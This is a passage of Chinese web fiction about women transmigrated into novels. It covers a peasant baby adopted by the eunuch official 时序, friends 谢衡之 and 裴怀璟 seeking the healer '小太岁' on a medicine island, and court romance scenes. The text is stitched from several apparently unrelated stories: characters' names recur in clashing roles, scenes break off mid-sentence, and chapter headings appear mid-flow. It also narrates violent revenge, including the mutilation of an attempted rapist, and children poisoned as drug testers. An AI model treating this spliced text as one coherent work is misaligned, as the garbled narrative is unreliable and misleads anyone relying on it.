一睁眼不是卧室里雪白的天花板,也没看见床边的白色蚊帐,而是低矮的天花板和窑洞一样漆黑阴暗的屋子。 她以为自己做了噩梦,正打算叫喊,可一张嘴只发出了一阵微弱的呼声。 她这才发现自己变成了小小的一团,变成了一个裹在襁褓中的婴儿。 她愕然地抬眸,看见屋子里有一个大土炕,睡着一家五口人,炕头睡着一大一小两位男性,她自己在炕尾,旁边睡着一个瘦弱女孩。 那一刻的惊恐和茫然,不是文字可以形容出来的,哪怕过了很久很久,温晚笙都能清晰地回忆起每一个小小的细节。 深夜里男人的呼噜声。 年轻男孩的磨牙声。最小最受宠的弟子正是女主羽落清,正因如此,四弟子姚蓉蓉心理失衡,疯狂黑化,走上了与女主作对的道路。 最后甚至朝着女主发射了三枚毒针想要女主的命,紧要关头,女主的暗卫替女主挡住了那三枚毒针,完成了一个炮灰的使命。 谢衡之恰好穿成了这个倒霉的暗卫,因此对这一情节格外刻骨铭心。 此时此刻,她忘记了自己的社恐,喃喃说道:“小太岁?” “这是谁,我怎么从来没有听说过?” 徐清听见了谢衡之的喃喃自语,道:“你们岛外的人自是不知道小太岁的,她曾经是羽朝送来的药童,是地宫里用来试药的药人,因为天赋出众,被我们岛主收为弟子。” 地宫里试药的药人? 原著里确实有这么一段剧情. 羽朝后宫争宠,皇后的养颜汤里被下了剧毒,年仅五岁的女主羽落清因为好奇误食了皇后的养颜汤,所以中了剧毒。 这种剧毒令皇宫的太医们束手无策,就连来自碧海潮生的神医们都难以根治。 为了治好金枝玉叶的小公主,皇宫里的人便找来了十名和女主年纪相同的五岁女童用来试药。 这些女童被灌了剧毒,又被送到碧海潮生充当小白鼠,被关在不见天日的地宫里,为羽朝的小公主试药。 这段情节在原著中不过短短几行,也就一百字左右。 若是不特意提及,谢衡之也是记不起来的。 此时此刻,她的心像是被人拴了一个铅块,猛地往下一沉。 走在前面的裴怀璟问道:“医宫里有她的牌子么?” 徐清再次摇头:“按照岛上的规矩,精通医术的医者都要在医宫挂上自己的牌子,就没有例外的,可小太岁从不在医宫挂牌,旁人虽然诸多不满,但也不敢说什么。” “除了小太岁,我们岛主还新收了一个弟子,名叫羽落清,因为还没正式行过拜师礼,所以说起我们岛主的弟子时,大家还是说五个。” 裴怀璟疑惑:“拜师礼有那么重要吗?” 徐清再次摇头:“这行了拜师礼和没行拜师礼就是不一样,名不正,言不顺。” “我们碧海潮生规矩严苛,官大半阶压死人,没有行过拜师礼就不算真正的弟子。” 裴怀璟又好奇地问道:“既然规矩严苛,那为什么没有行过拜师礼呢?” 徐清突然往四处看了看,压低声音说道:“听说和小太岁有关。” 裴怀璟:“啊?” 徐清:“小太岁不喜欢这个新来的女弟子,估计是小女孩之间的争锋吃醋,怕新的小弟子夺了她的宠爱,据说前些日子大闹了一场,把仙居殿弄了个人仰马翻。” 裴怀璟:“仙居殿是哪?” 徐清:“是广寒宫的一处宫殿,这是我们岛主住的地方,普通弟子是没资格进去的,我们也不知道发生了什么事,只知道岛主雷霆震怒,小太岁也被关了禁闭,现在都没放出来。” 裴怀璟:“豁,你们这小太岁脾气还挺大。” 小太岁这称呼一般都是家里人称呼家里小孩,多多少少带着点宠溺娇惯的味道。 原著里没出现过的新人物让谢衡之的心有些乱,心中蓦地生出一种惊慌和失控的感觉。 如果没猜错,小太岁就是为女主试药的女童之一。 尽管在熟睡中也面容愁苦的女人从嘴里吐出的梦呓:“孩他爹,家里没钱,咋给大娃娶媳妇哟?” 那破旧的木窗子半开着,底下用一根棍子支了起来,白霜似的月光洒在地上。 命运的转变到来的那一刻往往悄无声息,然后顷刻间让一个人的人生天翻地覆。 温晚笙穿成了书里的路人甲,是一个农户家的新出生的女婴。 一个普通人,穿书之后也是一个普通人,连原著里叫的出名字的角色都没有穿成,依旧过着普普通通的穷日子,生活看不到希望,也看不到改变,女主团的一切波澜都与她无关。 至少在发现自己穿书的那一刻,温晚笙是这么以为的。 而后,他轻声道:“我爱你。” 他不清楚喜欢与爱有何异。 只是她将‘喜欢’改成了‘爱’,他便也学她。 温晚笙一愣,心里软软地塌下去一块。 他居然会主动说啊。 少年等了一会儿,复又道:“二小姐该说,我也爱你。” 温晚笙忍不住笑了。 可惜光线太暗,看不清他的神情。 “裴念安。”她捏了捏他的脸,忍俊不禁,“你干嘛学我。” 所以她非常喜欢和裴怀璟在一起。 因为无论她是什么样子,无论是二十一世纪的社恐书呆子,还是现在这个杀人如麻的女剑客,裴怀璟眼里的她永远都不会变,裴怀璟永远都会觉得她是最好的。 丹场中,姚蓉蓉和羽落清已经开始比试了。 药鼎下的炉火熊熊燃起,两人开始挑拣药材炼制九转阴阳生死丹。 外行人可能会觉得这东西没什么好比较的,不就是炼丹么,按照书上说的放药材就行了。 事实上,炼丹这玩意就像一套数学卷,公式都写在书上,解题步骤也都写在书上,试卷再怎么变也都是那些题型,考个满分应该很容易吧? 然而除了真正的学霸,没有人会觉得容易。 羽落清相当于从小就拿了清北状元的独家笔记,还有个过目不忘的本事,还具有一个女主应有的天赋。 而姚蓉蓉相当于班上的优秀生,虽然老师是顶级学神,但她没有过目不忘的本事,也没有什么女主光环,不会天降秘籍砸在她身上。 “我记得书中说过,炼丹不仅需要炉火,有些药材的药性是炉火无法催化出来的,需要人的内力将药性析出,内力渗透药鼎中,再不断对药材进行催化和调整。” 裴怀璟:“写文不容易啊,这么一堆乱七八糟的东西作者怎么编出来的,她不累吗?” 谢衡之:“作者累不累我不知道,反正我现在很累。” “姚蓉蓉马上就要被女主打脸,有月扶疏和两位宫主在这里,你根本没有出手的机会,你没法发疯,然后打碎她们的药鼎。” 裴怀璟:“你在此地不要动,我去摘个马蜂窝回来。” 谢衡之:? 她还没出声,裴怀璟已经消失在原地了。 看来她在墓里被粽子追的上蹿下跳这些年,练就了一身很不错的轻功。 丹场的上的较量已经进入白热化阶段,姚蓉蓉将内力渗透到药鼎之中,析出生死草的药性。 九转阴阳生死丹的最主要的一味药材便是生死草。 有些药材需要雷电之火炼化能析出药性,此为天火。 有些药材需要大地之火才能炼化,譬如山川之火,此为地火。 人火,便是人的内力凝聚的无形之火,也叫无焰之火,这种火焰没有温度,对于一些怕热的药材而言是最好的选择。 生死草便是这样一种药材,它生长在极阴极暗之处,见光就会枯萎,遇热就会失去药性,采摘时一定要用隔绝光与热。 炼化这种药材,只能用人火。 炼化生死草的时候,姚蓉蓉诧异地发现羽落清居然有着不错的内力。 而她对炼丹也并不是一窍不通,甚至可以说是十分娴熟,她的炼丹节奏如行云流水,手法虽生疏,但步骤都是对的。 理论十分成熟,实践略有生疏。 少年将脸深埋在她颈窝中,郁郁地重复那三个字: “我爱你。” 温晚笙难得羞涩,声音很轻地道: “我也爱你。” 得了这句话,少年忽然没了声。 温晚笙感觉他安静得有点过分了,摸了摸他的脸。 没反应。 她迟疑地探出两根手指,凑到他鼻下。 温凉的气息徐徐拂过指腹。 不会是累晕了吧?【】 80-90 第 81 章 第 81 章 “念安。” “念安。” 混沌之中,似有人一遍遍唤他。 声音很轻,飘忽忽的,听不真切。 像是她。 下颌那颗痣忽然灼得发烫,连着心口一并抽紧。 少年眉心微皱,缓缓睁开眼。 他第一反应,便是探向枕侧。 裴怀璟就是那种嘴欠手贱的人,从小到大猫憎狗嫌,只有谢衡之受得了她。 谢衡之咬牙,从牙缝里挤出几个字:“你还真是一如既往” 裴怀璟很忧伤的说道:“阿雪,你不懂,你没有下过墓,所以根本不知道那种深藏地下的墓穴是多么的安静。” “你想象一下,伸手不见五指的黑暗中,你举着一个火把独自前行,没有人跟你说话,当然,也最好别有人跟你说话,因为跟你说话的也不一定是人。” “时间一长,我就养成了自言自语的习惯,在墓穴里头看见个尿罐都得调侃两句。” 谢衡之一愣:“那你不和别人一起下墓么,下地干活不都三五成群的吗?” 裴怀璟更忧伤了:“我确实和别人一起,但是下面有很多突发状况,一个粽子起尸就能把人追散,或者某个拖后腿的触发了一些机关,大家四散奔逃,顾头不顾腚,跑着跑着就孤身一人了。” 谢衡之听着也头疼:“非得下地不可吗?” 裴怀璟说道:“我要是有选择,我也不想下地啊,我也想一身白衣纤尘不染,在漫天飞舞的梨花下和青涩可人的太子小师弟一起舞剑。” 谢衡之笑了一声。 裴怀璟又贫了一会嘴,姚蓉蓉推开门走进来了,穿着一身鹅黄衣衫的少女俏生生的站在两人面前,面色很是歉疚的看向裴怀璟:“你身上的尸毒,阳无尘也没办法,目前只能缓解,无法根治。” 在原著之中,丹宫宫主阳无尘的医术仅次于医仙月扶疏,连他都没有办法,谢衡之的心顿时凉了半截。 艳鬼绛卿的尸毒当真无人可解吗? 难道裴怀璟真的会像原著中一样,变成一具死尸被艳鬼绛卿扔在羽朝王宫的水井里? 努力了这么久,她们还是不能逃脱书中人物的命运吗? 裴怀璟也是一愣,脸上倒没太多意外的神色,拄着下巴笑眯眯的说道:“你们两个干嘛用这种表情看着我,搞得我快要死了一样,况且我现在不是还好好的嘛。” 姚蓉蓉叹了口气:“你心态倒是乐观,我阳伯父说了,虽然没法根治你这毒,但让你活个一两年还是不成问题的。” 一旁的谢衡之抬手揉了揉眼睛。 裴怀璟的爪子握住了好友的手,“不必为我如此伤心,岛上不是还有个医仙么。” 姚蓉蓉低声说道:“我师尊醉心丹药,很少给人看病。” 能让医仙出手医治的就那么几个,要么是金月王朝皇室的天潢贵胄,要么是羽朝皇室里和他有交情的人。 总而言之,想强迫月扶疏救人是一件绝无可能的事情。 “那碧海潮生里,还没有没有比阳无尘更厉害的医师了?” 姚蓉蓉想了一会,脸上露出一丝苦笑:“比阳伯伯厉害的人倒有一个,只是她比我师尊更难见到。” 谢衡之眼睛一亮:“是谁?” 姚蓉蓉说道:“小太岁。” 又是小太岁。 只见其名,不见其影,还是一个书中从未出现过的人物。 谢衡之有些急切:“小太岁住在哪里,我去求求她。” 裴怀璟握住了她的手腕,嗔怪道:“你急什么,我这个尸毒恐怖连医仙也没有办法,如果碧海潮生的人治不好,大不了我再下一回地去找那个男鬼,正所谓解铃还需系玲人嘛。” 裴怀璟的情绪稳定是出了名的。 谢衡之这些年在烟都学剑,也练就了一身宠辱不惊的本事,早已将生死置之度外。 可看着挚友日渐苍白的脸庞,谢衡之的心态已经崩的不能再崩,心中更是充满了悔恨。 如果她当年没在书屋里将这本书拿回家,也许裴怀璟就不会穿越了,她会在21世纪过着优渥的生活,是走在路上人人都会回头看一眼的超级大美女。 而不是在这个鬼地方当一个赶尸客,又被女主的人逼着下了墓,还中了男四号的尸毒,搞不好还要被那个该死的男鬼扔到水井里。 如果裴怀璟真的有个三长两短,她谢衡之拼死也要杀了那个羽落清和那个男鬼为裴怀璟报仇。 谢衡之越想越恨,抱着裴怀璟的胳膊陷入沉默。 裴怀璟搂着她的后背,抬头问姚蓉蓉:“小太岁这个名字我已经听到好多次了,来岛上也有几日,我却从来没有见过她,她住在哪个院落里呢,我想去拜访一下。” 姚蓉蓉苦笑:“小太岁住的地方你们可去不了,她和师尊住在一起。” “她的药理知识都是我师尊手把手教授的,又日夜陪伴在我师尊身旁,因此最得我师尊真传,阳伯伯也曾说小太岁的医术在他之上。” “广寒宫的仙居殿有诸多高手守卫,其中还有两名天人境的高手,一位擅长诡术,另一位擅长剑术。” 听到有两位天人镜的高手坐镇,两人的表情都凝重了起来。 原著中的很多内容都是谈情说爱,可世界之广阔,又岂是区区六册书能概括齐全的。 道不同,但殊途同归。 无论练刀练剑,还是修习百家之术,人们都会将实力分为五个境界 出凡境,玄人境,生死境,地鬼境,天人境。 每个境界分九品,医仙月扶疏是九品天人境,小太子羽重雪是六品地鬼境。 两个天人境高手坐镇,这仙居殿还真是龙潭虎穴。 姚蓉蓉认真地叮嘱道:“这些年以来,那些偷偷潜入仙居殿店的人,没有一个能活着出去的,你们就是再着急,也千万别动了歪心思。” “那小太岁和你们的师尊就一直住在仙居殿里,从来不出门吗?” 姚蓉蓉:“师尊偶尔会出门,但小太岁很少出来过,我只有去仙居殿的时候才能见到她。” 裴怀璟的手指轻轻敲击着桌面:“还有什么关于小太岁的事情,我还想再听听。” 姚蓉蓉又想了想,说道:“她喜欢在坐在房顶上看星星。” 谢衡之问道:“每天都看吗?” 姚蓉蓉说道:“当然是有星星的时候才会看啦,没有星星的时候,我去广寒宫就很少见到她了,而且广寒宫那么大,房屋那么多” 她的丫鬟碧桃替她拿着书箱,跟着姚蓉蓉一起去往仙居殿。 屋中又剩下谢衡之和裴怀璟两人,有些不方便的话现在终于可以说了。 裴怀璟:“你现在还怀疑小太岁也是穿书者么?” 谢衡之讽刺一笑:“后宫争斗,嫔妃往皇后的养颜汤里下了剧毒,五岁的羽落清重生归来,知道自己不是真公主,于是故意误食皇后的养颜汤,替皇后挡下一劫,由此获得了皇后的无限宠爱。” “这个毒非常棘手,是好几种剧毒混合成的毒药,就连月扶疏也颇为头疼。” “羽朝的小公主千金玉体金枝玉叶,是万万不能出差错的,于是皇后身边的太监便找来了十个同龄女孩为公主试药。” “那十个年仅五岁的女孩们被太监灌下剧毒,随后被羽朝的人送去碧海潮生,成为了药人,从此之后为尝尽百毒,只为小公主身体康健,岁岁无忧。” 裴怀璟倒吸一口冷气:“十个小女孩,才五岁,天呐。” 谢衡之脸上的笑容愈发讽刺,“是啊,那毒太厉害,试药的女童们吃尽了穿肠毒药,全死在不见天日的地宫里。” “而女主呢,因为毒药落下病根,从小体弱多病,从此成了羽朝皇室最尊贵最受宠的小公主,人人都要让着她,谁还会记得那些死去的女童呢。” 读小说的时候,轻轻一笔带过的事,写的人没在意,读的人不在意,只有身临其境的时候,才终于感同身受。 谢衡之说道:“所以我觉得,不管小太岁是不是穿越者,我们都应该试一试。” 裴怀璟十分赞同:“如果是穿越者,我们阵营就会壮大,如果不是穿越者,她也一定对女主十分厌恶,说不定我们也可以多一位盟友。” 谢衡之笑笑:“什么盟友,你还搞上联盟了?” 裴怀璟往榻上一倚:“是呗,镶边女配也得活着呀。” 算上还没有行过拜师礼的女主羽落清,月扶疏一共六个弟子。 大弟子温之声,二弟子金焕,三弟子晁煌,四弟子姚蓉蓉,五弟子小太岁,六弟子羽落清。 丹心阁的座位也是按照等级排序,等级越靠前,座位也就越靠前。 月扶疏的大弟子温之声是碧海潮生年轻一辈的翘楚,他是天字乙等的医师,坐在第二席位。 姚蓉蓉是地字乙等,坐在第十二席位。 至于羽落清,因为她是羽朝的贵客,又是医仙新收的小弟子,虽然资历不够,却还是进了丹心阁,坐在第四十九位。 他直起身,居高临下地看着这位质子,像看一只被碾进泥里的虫,好玩又好笑。 “郦国那老皇帝,已经快不行了。于我大楚,倒是不足为虑。” 他漫不经心地掸了掸袖口。 “你若肯站出来,认那二人私通,兴许我能求父皇,网开一面,放你归国。” 裴怀璟还是一动不动,像一个死人。 直到,他听到她的声音自外头响起。 “二殿下,你在吗?” 第 82 章 第 82 章 殿内焚着上好的沉水香,青烟袅袅。 温晚笙一踏进来,就觉寒意从脚底往上蹿。 她环顾了一下。 二皇子和传闻中一样挥霍无度。 屋子里四角都摆着冒着白气的冰鉴,比空调效果还好。 墙上挂满了画,琳琅满目,密密匝匝遮住了壁面。 最惹眼的那幅山水,落款是前朝名家。 半个时辰后,陈德宝等到了沐浴更衣结束的时家父女。 因只是私宴,时序没有穿那身司礼监掌印独有的蟒袍,而是换上一席内敛低调的玄色锦衣,圆领长襟,外绣暗金云纹,头戴幞头,腰佩玛瑙带銙,珐琅腰牌悬坠其上。 为了避免不必要的流程,他提前解下常佩于袖下的袖箭,腰后的短匕也留在家中,只右手大拇指上多了一枚玉扳指。 若真遇见紧急情况,按下扳指内侧的机关,藏于其中的上百枚浸毒细毛针也可解一时之急。 他走进堂厅,下颌紧绷,负手而立,垂眸睥睨左右。 众人许久没见他这样正式的打扮,神情不禁怔然。 就连时一和时二也绷紧了身体,敛去面上的轻松,眸光微凛,垂首盯着自己的脚尖。 满堂气氛就这么骤然冷下来。 陈德宝后颈一凉,生生从圈椅上滑下来,忍着双腿的软意,扶着圈椅把手勉强站着,却是再不敢催促半句。 直到时序的目光触及脚边的女童,他那一身的寒气竟骤散去许多,清冷的眸子里也带上点暖意:“阿归。” 只见温晚笙穿了一身喜气洋洋的大红棉袄,头上梳着两个丸子发髻,叮叮当当挂了许多珍珠发饰,脚蹬狐毛锦靴,怀里抱着一个圆滚滚的汤婆子。 临出门前,雪烟还在她额间点了一枚鲜艳的花钿。 活生生一个从年画里走出来的玉娃娃。 听见阿爹的呼唤,温晚笙美滋滋地仰起头来,得意地在他面前转了一圈,这才问道:“阿爹瞧我好不好看!” 一路走来,她早得了许多人的夸赞。 但依着温晚笙的想法,只有阿爹说好,那才是真的好。 时序嘴角一抿,倏尔绽开的笑容掩去他身上最后一点冷意。 他毫不吝惜对温晚笙的赞赏,碰碰她头上的发髻,摸摸她颈间的雪白兔毛,从头到脚,凡是他能看见摸到的,一样不落地夸一遍。 每说完一句,他还要给裴围人一个眼色,偏要旁人应和了,才见他继续往下说。 说到最后,反是温晚笙不好意思极了。 她忍不住捂住自己的眼睛,呜呜囔囔道:“阿爹你夸得太过啦!我、我……” 她偷偷张开两根手指,明亮狡黠的眼睛从指缝往外看着,在触及到时序的目光时,又受惊一般躲回去,同时响起的还有一句:“明明是阿爹更好看一点。” 两人的互动也叫裴围人放松几分,陈德宝缓过神来,闻言不禁笑道:“好了好了,快都别互相恭维了,你们父女俩都好看!” 他也是这时候才发现,面前两人相貌上竟有着许多相似之处。 然他行走宫廷,深知越无知才越安全的道理,饶是心中有着诸多猜测,面上也不见显露分毫,不过三言两语,就将话头转到旁处去,逗得温晚笙忍俊不禁,咯咯笑着躲到阿爹身后去。 “好了,时间不早了,我们该出发了。” 时序的一句话打断几人的寒暄。 陈德宝正了正衣襟,一甩拂尘,躬身道:“掌印请——” 不等时序说话,温晚笙已着急忙慌地把自己的小手塞进他掌心里,做完这些又仰头露出一个腼腆的笑。 不知是不是温晚笙的错觉,她总觉着阿爹的掌心都凉了许多。 她正想问上一句,可时序已经带着她走出堂厅。 她这时才看见,院里竟等了许多人,全是与陈德宝相似的内侍打扮,只从衣饰颜色样式上看,品阶要比他低上许多。 陈德宝小碎步跟在后面,见状只是笑:“掌印这是备好车马了?也好也好,省得老奴再着急忙慌去喊人了。” 如此听来,这些人原都是时序的手下。 自温晚笙到来,每逢外出之时,时序基本都是陪她坐在马车里的,这次也不例外。 陈德宝另坐了一架马车,剩余人则驾马而行。 毕竟是面见圣上,时序少不得多叮嘱几句。 宫里规矩多,这份规矩本是针对所有人的,可温晚笙入宫入得匆忙,她之前也没有接触过相关的礼节规矩,这些要求自然也无法全部苛刻地加诸于一个孩子身上。 时序只教了她对皇帝皇后的拜礼,余下的就是:“阿归只要记着对陛下皇后行礼,其余交给阿爹便是。” 坦白讲,这偌大一个宫廷,能受得住时序行礼的,也无非最顶头的那两三人罢了。 其余妃嫔极少能见到他的面,这等私宴想必也不会出席。 还有一些皇子皇女们,时序倒不介意对他们行礼,可往往不等他躬身,这些人先上前阻止了,不管心里如何不屑抵触,面上总要对他一副和气敬重的样子。 这也叫时序越发明白——短短几日内,曾经对杨二丫母女露出过善意的乡亲们撞了各种大运,要么是捡到些碎银子,要么是得了点好东西,其中有一户姓刘的人家,更是以极低的价格买下数十亩良田,四下打听许久,也不解其缘。 有得到好处的,当然也有无端遭罪的。 村里有名的痞子半夜归家时被人套了麻袋,在完全清醒的状态下,被生生折断四肢,最后去了子孙根,当着他的面喂给野狗。 动手的人说:“只怪你碰了不该碰的人,想想你两年前做了什么。” 两年前? 痞子半死不活中,猛然想起他两年前做的事。 无论喜不喜欢,权势可真是个好东西。 就像今日,便只是为了叫他的宝贝女儿能肆意快活些,他也要将权势牢牢把控在手心里,叫所有人欺辱不得。 温晚笙心里没底,却架不住时序的再三宽慰。 待马车停在宫门时,她彻底平定下来,把着阿爹的手下了马车,望着高大巍峨的宫门,除了几分震撼,全无畏惧之意。 陈德宝上前递了腰牌,羽林卫当即开了宫门。 随行众人一一上前接受检查,最后到了时序,负责检查的羽林卫却是退后一步:“掌印请。” 托时序的福,也没敢多看温晚笙一眼。 只是温晚笙的注意力全被宫墙内的景象吸引力,便没多关注羽林卫们的反应,直到踏上青红宫道,才意识到自己竟进来了。 前方两列宫人走来,款款停在众人面前。 为首的宫女福身道:“奴婢见过掌印,陛下听闻掌印入宫,特派奴婢前来,陛下及各位殿下已在揽芳殿等候。” 话落,随她同来的宫人便分为两列,内侍与宫女各一。 宫女们作势要领温晚笙走,可不等她们靠近,就听时序轻笑一声,抬头一看,他面上却是没有任何表情。 时序道:“劳烦陛下记挂,咱家对这宫廷却是熟悉极了,就不劳姑姑们费心了,小女怕生,且跟在咱家身边就是。” 他本不信神佛,可若他的所作所为能给妻子积攒些来世福报,莫说只是百位高僧诵经超度,便是再多再难,他也给得起。 “阿弥陀佛——” 在年迈住持的提醒下,时序走到已熄灭的灰烬旁,亲手将覆在上面的灰骨收进提早准备好的木匣中,又哑声唤来温晚笙:“阿归,来。” 温晚笙跪了太久,双膝几乎失去知觉,全靠时一的搀扶才走来,她神情发木,只凭直觉行事。 时序说:“送你娘最后一程吧。” 说完,他牵起温晚笙的手,带她将最后一捧骨灰收进匣中。 咯哒—— 匣上的玉扣被合紧,不大的木匣被珍重地放到温晚笙手中。 斯人已逝,幽思长存。 因着这骨灰是要带回京城的,木匣就被妥善放回马车上,在三面座位中占了一整面,上面覆着一层素色长绢,一进马车就能看见。 而就在火化后的第二日,时序就提出启程回京。 温晚笙满心满眼都是对面的木匣子,早晚都记着上香供奉,一听说娘亲的尸骨要尽早送去长安寺,对回京比起时序还要迫切。 便是马车驶离临榆郡,她也没想起除娘亲外的任何人任何事。 比如那一心想着攀富贵的杨家人。 殊不知,马车启程的第二日,杨家这些年的所作所为就都被呈到时序手上,他略过杨家的兴衰,只看了杨二丫和温晚笙在他家的遭遇。 有从杨家人那里得来的,也有乡里邻里看到的。 这一切都能从温晚笙口中得到验证,可在看过记录后,时序只冷眼将其烧了个干净,全无向温晚笙问询的意思。 毕竟,他看到的过往没有半分欢喜,他可舍不得叫女儿再难过一回。 在温晚笙没有注意到的地方,随行的护卫少了三五人,最后连时一都脱离了队伍,马不停蹄地赶回望蜀村。 有恩报恩,有怨报怨。 这一向是时序的处事法则。 重重心绪交织着,她推开冷宫大门的时候,还有点忐忑。 但在瞧见熟悉的人时,她的心重重跳了跳。 少年孤零零地倚靠在墙边,半阖着眼,看着虚弱又可怜。 一如他们初见那日。 “裴怀璟!” 温晚笙的眼眶蓦地一热,几乎是立刻奔到他面前。 然而,少年却侧过身,避开了她的拥抱。 第 83 章 第 83 章 温晚笙的手僵了僵,缓缓收了回来。 “你……”她顿了顿,声音轻下去,“在怪我吗?” 少年目光空洞洞地落在地上,声音干涩得让人听了心里发紧。 “不敢。” 温晚笙还以为他会说‘没有’。 她看着他抿成一条线的唇,看着那比五天前更瘦削的下巴,一股奇怪的滋味蓦然堵在心口。 说完,她又莫名觉得高兴,嘿嘿笑了两声,放下车帘,一蹭一蹭地回到时序身边。 见状,时序不禁莞尔。 他抓来温晚笙的双手,借着透进来的亮光细细打量着,前前后后翻来覆去看了好几遍,只见上面狰狞的冻疮已经好了许多,那些容易开裂的疮口消失不见,只余下一些长长短短的疤痕。 而在短短两个月里就能有此成效,时序甚是满意,还打定主意,回府后要给府医看赏。 再有便是—— “早前我跟府医问过,说是阿归的身子有所亏空,多半是要调养一番的。” “若是服用汤药,可能好得快一点,但我又找宫里的御医问询一番,御医说阿归年纪还小,无需直接下猛药,总归有的是时间,你我也不着急,倒不如改用药膳,一来药性温和许多,二来也少了汤药的苦涩,阿归觉得呢?” 多年来,时序养成了走一步看十步的性子。 对于这个被他放在心尖尖上的女儿,更是要事无巨细地早早规划,恨不得替她扫平所有阻碍,再把世间所有美好的都捧到她眼前。 时序握着温晚笙的小手,怎么都稀罕不够似的:“说来阿归喜欢什么玩具?之前叫时一他们买来的小物件到底是缺了些精致,等回府了,我再请匠人来给你打新的。” “还有你之前住的西厢小阁楼,我叫人趁咱们出去时重新翻整了一下,屋里的装饰也全换了新的,阿归再去看看还缺什么,我好叫人快快备齐。” “还有还有……” 谁能想到,在外不苟言笑的司礼监掌印,私下里竟这般滔滔不绝。 温晚笙侧耳听着,边听边笑,对阿爹的这般作为已是见怪不怪。 她也不打断,无论时序说什么,她都是乖乖巧巧地点着头,直到他将所有的临时起意说完,又把这会子的劲头儿散去了,她才笑吟吟地趴到阿爹身上。 “阿爹——”刻意拉长的尾音又是叫时序心头一颤。 温晚笙掰着手指头,温声道:“阿爹说要服药膳,我都好,都听阿爹的,阿爹定是不会害我。” “不过玩具就不要啦!大兄二兄他们买来的已经很有趣了,我很是喜欢,若找工匠来打新的,岂不是要辜负了大兄二兄的一片真心?再说我也不是小孩子了,小孩子才要玩具。” 时序被她逗笑:“是是是,阿归才不是小孩子,阿归已经是六岁的大人了!” 然实际上,六岁和大人实在不算沾边。 温晚笙不好意思地吐了吐舌头,坚持道:“就算不是大人,也是小大人啦!小大人也不需要很多很多玩具,小大人只要有阿爹陪就满足了。” 她仿佛天生知道时序爱听什么,不过三言两语,就哄得他晕了脑袋。 等后面温晚笙再问:“那就不打新玩具了?” “不打了不打了。” “也不用给小阁楼添新家具了?” “不添了不添了。” 温晚笙再接再厉:“那今年也先不去蒙学,先在家陪着阿爹?” “不去不……不可!”时序反应过来,好气又好笑地捏住温晚笙的侧脸,“陪阿爹跟去蒙学不冲突,蒙学要去,阿爹也要陪,嗯?” “阿归之前不还很乐意去念书的吗,怎这阵子忽然改了主意?” “唔唔——”温晚笙哼哼两声,一头埋进时序的小臂上,“那不是之前不懂事,被爹给骗了。” “我又是哪里骗你了?”时序哭笑不得,不轻不重地捏住她的后颈,叫她把小脸露出来,“阿归且说说,我是哪里骗你了,今日若说不出个一二三来,可别怪阿爹对你不客气。” “阿爹说早晚都会接送我嘛。”温晚笙才不怕他的威胁,反而气鼓鼓道,“可大兄和二兄都承认了,阿爹办差总是好久不回家,有时进宫隔日都不见出来!” “阿爹连家都不回,又如何接我上下学呢?” 温晚笙格外委屈,又是一头撞在时序小臂上,用额头蹭个不停。 时序这才明白,近来温晚笙怎一提起上学就转移话题,症结原是出在了这里。 他越想越觉得好笑,终忍不住笑出声:“哈哈咳咳……阿归可是冤枉我了。” “时一他们说得虽没错,可那都是之前的事了,之前家里没有阿归,我回家又有何用?难不成跟他们几个臭小子干瞪眼吗?” 马车外,遥遥坠在后面的时一和时二一同打了个喷嚏。 而时序继续说:“现在家里有了阿归,我是恨不得整日都不出门,哪里舍得留阿归一人在家苦等。阿爹跟你保证,等后面你去了蒙学,阿爹就把上值的时间调整成跟你上学一样的时间,这样我们就能一同出门,一同回家,这样可好?” 温晚笙仍是狐疑,可她也隐约知道阿爹对她念书的看重,她不忍叫阿爹失望,只能犹犹豫豫地答应下来:“那、那好吧。” 时序在她掌心里抓了抓:“阿归放心,阿爹骗谁也不会骗你的。” 交谈间,马车抵达时府。 管家早早得了消息侯在府外,一见马车抵达,赶忙叫人开了正门,又提前架好车板,好叫马车平稳驶入府中。 主人离府数月,下人却不敢有半分懈怠,里里外外都收拾得一尘不染。 府里随处可见大红的灯笼,一些假山阁楼旁还系着喜庆的彩色丝带,几个主院院门口也贴上了春联福字,端得一派热闹气氛。 这全是前不久过年时留下的,因还在正月的尾巴,便没着急拆下。 温晚笙他们年前出发,回来已经到了年后,连天气都开始转暖,有些火气旺的百姓都换上了薄袄。 一群人虽没能一起过年,可这几个月也是一直呆在一起的,尤其是返程时,一路的欢愉不比在京城少,甚至还得以见到许多不一样的景色。 仔细想来,倒也不算遗憾。 众人风尘仆仆地下了车马,时序正要唤人带温晚笙去梳洗,就见管家带人赶了过来。 看清后面那人的模样后,时序眼神沉了沉,温晚笙也一脸好奇地打量着那身着内侍服的中年人。 陈德宝堆着一脸笑,见面先是作了个大揖:“老奴拜见掌印,给掌印拜个晚年了!” 陈德宝,新帝身边伺候的大太监。 时序神情淡了下来:“陈公公消息倒是灵通。”他们才一回来,就紧跟着找上门了。 陈德宝也不见讪色,坦然道:“哎呦掌印可是说笑了,老奴最近半月可是日日侯在府上,就为了等您回来呢!想必这位就是掌印新认下的女儿了吧?” “陛下听闻掌印喜得贵女,特遣老奴来府上,请掌印和千金入宫小叙呢!” 那也是一个与今天差不多的夜晚,他吃酒归来,意外撞见杨家的那个小寡妇,小寡妇生得貌美,叫他垂涎已久,只一直没寻到动手的机会。 在黄酒的影响下,他色心大动。 他至今还记得,那小寡妇叫得可是凄惨,被他追倒在地上,泪眼婆娑,我见犹怜,只差最后一点……偏生刘家的屠夫不知从哪冒出来,一拳将他打倒,又叫他媳妇把小寡妇护送回家,坏了他的好事。 所以他今日之难,是因为那杨家的小寡妇? 痞子的双眼被头顶流下的血污糊满,意识昏沉,再想不起其他。 在痞子遭难的差不多时间,杨家人也接二连三出了事。 轻则摔断一条腿、撞断一只胳膊,重则一头栽进水洼里,等被人发现时,早是浑身屎尿没了呼吸。 杨七美和嫂嫂出门时不小心冲撞了贵人,先是遭了一顿巴掌,转头又从她们身上搜出贵人的荷包,以盗窃之名扭送官府,判了二十板子。 当下官府的板子是要褫衣的,又是当众行刑,有些爱惜脸面的男人尚受不住如此大辱,何况还是一个已婚的妇人,和一个未出嫁的姑娘。 两人受完刑后被丢置在衙门外的草堂里,等了七八日才被领回家去,杨家嫂子的伤势拖了太久,听郎中说逃不了瘫痪,往后再不能下地。 而杨七美被丢在柴房无人问津,左右不过三日就丢了性命。 短短几日,杨家几十口死得死、伤得伤,这些年好不容易攒下的一点银子也全花光,到最后为了给家里人看病,连田地都卖出去了。 和村里的其他人不同,杨家人对他们如今下场的原因可谓是心知肚明。 